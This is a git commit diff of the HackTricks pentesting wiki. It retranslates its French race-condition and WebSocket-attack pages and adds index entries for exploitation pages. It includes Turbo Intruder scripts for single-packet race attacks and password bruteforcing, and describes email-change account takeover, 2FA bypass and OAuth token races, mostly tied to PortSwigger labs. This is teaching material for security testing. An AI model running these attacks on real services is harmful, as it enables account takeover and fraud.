Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti

This commit is contained in:
Translator 2025-09-29 14:21:07 +00:00
parent 48edd977d8
commit bc709201c9
3 changed files with 271 additions and 136 deletions

View File

@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,58 +1,58 @@
# Condition de Course
# Race Condition
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Amélioration des Attaques par Condition de Course
## Améliorer les attaques Race Condition
Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requêtes sont traitées en même temps, avec **très peu de différence dans leurs temps de traitement—idéalement, moins de 1ms**.
Le principal obstacle pour exploiter les race conditions est de s'assurer que plusieurs requêtes soient traitées en même temps, avec une différence de leurs temps de traitement très faible — idéalement, moins de 1 ms.
Ici, vous pouvez trouver quelques techniques pour Synchroniser les Requêtes :
Voici quelques techniques pour synchroniser des requêtes :
#### Attaque à Paquet Unique HTTP/2 vs. Synchronisation du Dernier Octet HTTP/1.1
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2** : Prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.
- **HTTP/1.1 'Synchronisation du Dernier Octet'** : Permet l'envoi préalable de la plupart des parties de 20-30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant simultanément le serveur.
- **HTTP/2** : Permet d'envoyer deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour un exploit de race condition fiable.
- **HTTP/1.1 'Last-Byte Sync'** : Permet de pré-envoyer la majeure partie de 20-30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, obtenant ainsi une arrivée simultanée au serveur.
**Préparation pour la Synchronisation du Dernier Octet** implique :
**Préparation pour Last-Byte Sync** implique :
1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux.
2. Faire une pause de 100ms après l'envoi initial.
3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers trames.
4. Pinger pour réchauffer la connexion.
1. Envoyer les en-têtes et les données du corps moins l'octet final sans fermer le flux.
2. Faire une pause de 100 ms après l'envoi initial.
3. Désactiver TCP_NODELAY pour utiliser Nagle's algorithm afin de regrouper les frames finaux.
4. Envoyer des pings pour préchauffer la connexion.
L'envoi subséquent des trames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
L'envoi ultérieur des frames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
### S'adapter à l'Architecture du Serveur
### S'adapter à l'architecture du serveur
Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent router les requêtes différemment, affectant le timing. Le réchauffement préventif de la connexion côté serveur, à travers des requêtes sans conséquence, pourrait normaliser le timing des requêtes.
Comprendre l'architecture cible est crucial. Les serveurs frontaux peuvent router les requêtes différemment, ce qui affecte le timing. Le préchauffage côté serveur, via des requêtes sans conséquence, peut normaliser le timing des requêtes.
#### Gestion du Verrouillage Basé sur la Session
#### Gérer le verrouillage basé sur la session
Des frameworks comme le gestionnaire de session de PHP sérialisent les requêtes par session, obscurcissant potentiellement les vulnérabilités. Utiliser différents jetons de session pour chaque requête peut contourner ce problème.
Des frameworks comme le session handler de PHP sérialisent les requêtes par session, ce qui peut masquer des vulnérabilités. Utiliser différents tokens de session pour chaque requête peut contourner ce problème.
#### Surmonter les Limites de Taux ou de Ressources
#### Surmonter les limites de débit ou de ressources
Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limites de taux ou de ressources des serveurs web à travers un flot de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course.
Si le préchauffage de la connexion est inefficace, provoquer intentionnellement des délais liés aux limites de débit ou de ressources des serveurs web via un flood de requêtes factices peut faciliter le single-packet attack en induisant un délai côté serveur propice aux race conditions.
## Exemples d'Attaque
## Attack Examples
- **Tubo Intruder - attaque à paquet unique HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans le menu déroulant :
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Vous pouvez envoyer la requête vers **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez modifier dans la requête la valeur que vous voulez bruteforcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans la liste déroulante :
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Si vous allez **envoyer différentes valeurs**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
Si vous allez **envoyer différentes valeurs**, vous pouvez modifier le code avec celui-ci qui utilise une wordlist depuis le presse-papiers:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
> Si le site ne prend pas en charge HTTP2 (seulement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
- **Tubo Intruder - attaque à paquet unique HTTP2 (Plusieurs points de terminaison)** : Dans le cas où vous devez envoyer une requête à 1 point de terminaison puis plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme :
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Dans le cas où vous devez envoyer une requête à 1 endpoint puis plusieurs à d'autres endpoints pour déclencher la RCE, vous pouvez modifier le script `race-single-packet-attack.py` avec quelque chose comme:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite.
- Pour **limit-overrun**, vous pourriez simplement ajouter la **même requête 50 fois** dans le groupe.
- Pour **connection warming**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
- Pour **delaying** le processus **entre** le traitement **d'une requête et une autre** en 2 étapes substantielles, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
- Pour un RC **multi-endpoint**, vous pourriez commencer à envoyer la **requête** qui **va à l'état caché** et ensuite **50 requêtes** juste après qui **exploite l'état caché**.
- Il est également disponible dans **Repeater** via la nouvelle option '**Send group in parallel**' dans Burp Suite.
- Pour **limit-overrun** vous pouvez simplement ajouter la **même requête 50 fois** dans le groupe.
- Pour **connection warming**, vous pouvez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
- Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pouvez **ajouter des requêtes supplémentaires entre** les deux requêtes.
- Pour un RC **multi-endpoint** vous pouvez commencer par envoyer la **requête** qui **va vers l'état caché** et ensuite **50 requêtes** juste après qui **exploitent l'état caché**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Script python automatisé** : L'objectif de ce script est de changer l'email d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le token de vérification du nouvel email arrive à l'ancien email (c'est parce que dans le code, il voyait un RC où il était possible de modifier un email mais d'avoir la vérification envoyée à l'ancien car la variable indiquant l'email était déjà peuplée avec le premier).\
Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email changé et nous mettons fin à l'attaque.
- **Automated python script**: Le but de ce script est de changer l'email d'un utilisateur tout en vérifiant en continu jusqu'à ce que le verification token du nouvel email arrive dans l'ancien email (c'est parce que dans le code on observait un RC où il était possible de modifier un email mais que la vérification soit envoyée à l'ancien, car la variable indiquant l'email était déjà initialisée avec la première valeur).\
Quand le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le verification token de l'email modifié et nous terminons l'attaque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,21 +217,21 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Amélioration de l'attaque par paquet unique
### Amélioration du Single Packet Attack
Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**ce post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la **limitation de fenêtre de 65 535 B de TCP en utilisant la fragmentation au niveau IP** (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.
Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), il est expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque Single Packet Attack à **la limitation de fenêtre de 65,535 B de TCP en utilisant la fragmentation au niveau IP** (en scindant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui empêche le réassemblage du paquet jusqu'à ce que tous les fragments aient atteint le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.
Notez que bien que cette amélioration rende l'attaque plus fiable dans les RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut également avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramètre strict `SETTINGS_MAX_CONCURRENT_STREAMS` de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant ainsi cette attaque RC).
Notez que bien que cette amélioration rende l'attaque plus fiable pour des RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut aussi rencontrer des limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un réglage strict `SETTINGS_MAX_CONCURRENT_STREAMS` fixé respectivement à 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.\
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant cette attaque RC).
Vous pouvez trouver quelques exemples utilisant cette technique dans le dépôt [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
Vous pouvez trouver quelques exemples utilisant cette technique dans le repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.
Avant les recherches précédentes, voici quelques payloads utilisés qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
- **Répéteur :** Consultez les exemples de la section précédente.
- **Intrus :** Envoyez la **requête** à **Intrus**, définissez le **nombre de threads** à **30** dans le **menu Options** et sélectionnez comme charge utile **Null payloads** et générez **30**.
- **Repeater:** Check the examples from the previous section.
- **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** sur **30** dans le **menu Options**, sélectionnez comme payload **Null payloads** et générez **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -281,73 +281,73 @@ asyncio.run(main())
```
## **Méthodologie RC**
### Limite-dépassement / TOCTOU
### Dépassement de limite / TOCTOU
C'est le type de condition de course le plus basique où **les vulnérabilités** **apparaissent** dans des endroits qui **limitent le nombre de fois que vous pouvez effectuer une action**. Comme utiliser le même code de réduction dans un magasin en ligne plusieurs fois. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
C'est le type le plus basique de race condition où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Par exemple utiliser le même code de réduction plusieurs fois dans une boutique en ligne. Un exemple très simple se trouve dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
Il existe de nombreuses variations de ce type d'attaque, y compris :
Il existe de nombreuses variantes de ce type d'attaque, notamment :
- Échanger une carte-cadeau plusieurs fois
- Évaluer un produit plusieurs fois
- Retirer ou transférer de l'argent en excès de votre solde de compte
- Utiliser une carte cadeau plusieurs fois
- Noter un produit plusieurs fois
- Retirer ou transférer de l'argent en excès du solde de votre compte
- Réutiliser une seule solution CAPTCHA
- Contourner une limite de taux anti-brute-force
- Contourner une limitation de taux anti-brute-force
### **Sous-états cachés**
Exploiter des conditions de course complexes implique souvent de tirer parti d'opportunités brèves pour interagir avec des sous-états machine cachés ou **non intentionnels**. Voici comment procéder :
L'exploitation de race conditions complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états machine cachés ou **non intentionnels**. Voici comment aborder cela :
1. **Identifier les sous-états cachés potentiels**
- Commencez par identifier les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateur ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
- **Stockage** : Préférez les points de terminaison qui manipulent des données persistantes côté serveur plutôt que celles qui gèrent des données côté client.
- **Action** : Recherchez des opérations qui modifient des données existantes, qui sont plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
- **Clé** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.
2. **Effectuer un premier sondage**
- Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnérabilité.
- Commencez par repérer les endpoints qui modifient ou interagissent avec des données critiques, comme les profils utilisateur ou les processus de password reset. Concentrez-vous sur :
- **Storage** : Préférez les endpoints qui manipulent des données persistantes côté serveur plutôt que ceux qui gèrent des données côté client.
- **Action** : Recherchez des opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables que celles qui ajoutent de nouvelles données.
- **Keying** : Les attaques réussies impliquent généralement des opérations indexées sur le même identifiant, par ex. username ou reset token.
2. **Effectuer des tests initiaux**
- Testez les endpoints identifiés avec des attaques de race condition, en observant tout écart par rapport aux résultats attendus. Des réponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnérabilité.
3. **Démontrer la vulnérabilité**
- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou de l'automatisation en raison du timing précis impliqué.
- Réduisez l'attaque au nombre minimal de requêtes nécessaire pour l'exploiter, souvent seulement deux. Cette étape peut nécessiter plusieurs tentatives ou de l'automatisation en raison du timing précis requis.
### Attaques sensibles au temps
La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme des timestamps sont utilisées pour des security tokens. Par exemple, la génération de password reset tokens basée sur des timestamps pourrait produire des tokens identiques pour des requêtes simultanées.
**Pour exploiter :**
- Utilisez un timing précis, comme une attaque par paquet unique, pour effectuer des requêtes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
- Utilisez un timing précis, comme une attaque par paquet unique, pour effectuer des requêtes de password reset concurrentes. Des tokens identiques indiquent une vulnérabilité.
**Exemple :**
- Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent un défaut dans la génération de jetons.
- Demandez deux password reset tokens en même temps et comparez-les. Des tokens identiques suggèrent une faiblesse dans la génération des tokens.
**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.**
**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer ceci.**
## Études de cas sur les sous-états cachés
### Payer & ajouter un article
Vérifiez ce [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans un magasin et **ajouter un article supplémentaire** que vous **n'aurez pas besoin de payer**.
Consultez [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans une boutique et **ajouter un article supplémentaire** que vous **n'aurez pas besoin de payer**.
### Confirmer d'autres e-mails
### Confirmer d'autres adresses e-mail
L'idée est de **vérifier une adresse e-mail et de la changer en une autre en même temps** pour découvrir si la plateforme vérifie la nouvelle adresse modifiée.
L'idée est de **vérifier une adresse e-mail et de la remplacer simultanément par une autre** pour vérifier si la plateforme confirme la nouvelle adresse.
### Changer l'e-mail en 2 adresses e-mail basées sur des cookies
### Changer l'email en 2 adresses e-mail (basé sur Cookie)
Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine), Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification d'e-mail d'une adresse à l'autre**.
Selon [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette façon parce qu'il pouvait **envoyer** le **token de vérification d'une adresse e-mail à une autre**.
**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.**
**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer ceci.**
### États de base de données cachés / Contournement de confirmation
### États cachés de la base de données / Contournement de confirmation
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a une petite portion de temps**seules les premières données ont été écrites** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** et **ensuite le jeton** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il existe une courte période**seules les premières données ont été écrites** dans la base. Par exemple, lors de la création d'un utilisateur le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits**, puis **le token** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant le **token pour confirmer un compte est null**.
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de c**onfirmer un compte** où vous ne contrôlez pas l'e-mail.
Par conséquent, **s'enregistrer et envoyer plusieurs requêtes avec un token vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail.
**Vérifiez ce** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.**
**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer ceci.**
### Contournement de 2FA
### Contourner le 2FA
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, le **2FA n'est pas appliqué** pendant que la session est créée :
Le pseudo-code suivant est vulnérable à une race condition parce que pendant un très court laps de temps la **2FA n'est pas appliquée** alors que la session est créée :
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -357,22 +357,23 @@ session['enforce_mfa'] = True
```
### OAuth2 persistance éternelle
Il existe plusieurs [**fournisseurs OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le **client** devra **permettre à votre application** d'accéder à certaines de ses données à l'intérieur du **fournisseur OAUth**.\
Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?_"
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettent de créer une application et d'authentifier les utilisateurs que le provider a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à une partie de leurs données chez le **OAUth provider**.\
Donc, jusqu'ici c'est juste un login commun avec google/linkedin/github... où on vous affiche une page disant : "_Application \<InsertCoolName> veut accéder à vos informations, voulez-vous l'autoriser ?_"
#### Condition de course dans `authorization_code`
#### Race Condition dans `authorization_code`
Le **problème** apparaît lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT** (_Token d'authentification/Token de rafraîchissement_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
Le **problème** apparaît lorsque vous **l'acceptez** et qu'il envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Race Condition dans le OAUth service provider pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle exploite le fait que vous avez autorisé l'application à accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **cessez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
#### Condition de course dans `Refresh Token`
#### Race Condition dans `Refresh Token`
Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.**
Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.**
## **RC dans WebSockets**
## **RC in WebSockets**
Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC), vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** afin d'abuser des **Conditions de course également dans les Web Sockets**.
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** afin d'abuser des **Race Conditions aussi dans les Web Sockets**.
- Avec Burps WebSocket Turbo Intruder vous pouvez utiliser le moteur **THREADED** pour lancer plusieurs connexions WS et envoyer des payloads en parallèle. Commencez par l'exemple officiel et ajustez `config()` (nombre de threads) pour la concurrence ; c'est souvent plus fiable que le batching sur une seule connexion lorsqu'on exploite une Race Condition sur l'état côté serveur via les handlers WS. Voir [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## Références
## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -380,5 +381,8 @@ Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_P
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,22 +1,22 @@
# Attaques WebSocket
# WebSocket Attacks
{{#include ../banners/hacktricks-training.md}}
## Qu'est-ce que les WebSockets
Les connexions WebSocket sont établies par le biais d'une **négociation HTTP** initiale et sont conçues pour être **durables**, permettant une messagerie bidirectionnelle à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une **latence faible ou une communication initiée par le serveur**, comme les flux de données financières en direct.
Les connexions WebSocket sont établies via une poignée de main **HTTP** initiale et sont conçues pour être **longue durée**, permettant l'échange bidirectionnel de messages à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une **faible latence ou une communication initiée par le serveur**, comme les flux de données financières en direct.
### Établissement des connexions WebSocket
Une explication détaillée sur l'établissement des connexions WebSocket peut être consultée [**ici**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En résumé, les connexions WebSocket sont généralement initiées via JavaScript côté client comme indiqué ci-dessous :
Une explication détaillée sur l'établissement des connexions WebSocket est disponible [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En résumé, les connexions WebSocket sont généralement initiées via du JavaScript côté client comme montré ci-dessous:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
Le protocole `wss` signifie une connexion WebSocket sécurisée avec **TLS**, tandis que `ws` indique une connexion **non sécurisée**.
Le protocole `wss` signifie une connexion WebSocket sécurisée avec **TLS**, alors que `ws` indique une connexion **non sécurisée**.
Lors de l'établissement de la connexion, une poignée de main est effectuée entre le navigateur et le serveur via HTTP. Le processus de poignée de main implique que le navigateur envoie une requête et que le serveur répond, comme illustré dans les exemples suivants :
Lors de l'établissement de la connexion, un handshake est effectué entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requête et que le serveur réponde, comme illustré dans les exemples suivants :
Le navigateur envoie une requête de poignée de main :
Le navigateur envoie une requête de handshake :
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Réponse de la poignée de main du serveur :
Réponse de handshake du serveur :
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -35,18 +35,18 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
La connexion reste ouverte pour l'échange de messages dans les deux sens une fois établie.
**Points clés de la poignée de main WebSocket :**
**Points clés du WebSocket Handshake :**
- Les en-têtes `Connection` et `Upgrade` signalent le début d'une poignée de main WebSocket.
- Les en-têtes `Connection` et `Upgrade` signalent le début d'un WebSocket Handshake.
- L'en-tête `Sec-WebSocket-Version` indique la version du protocole WebSocket souhaitée, généralement `13`.
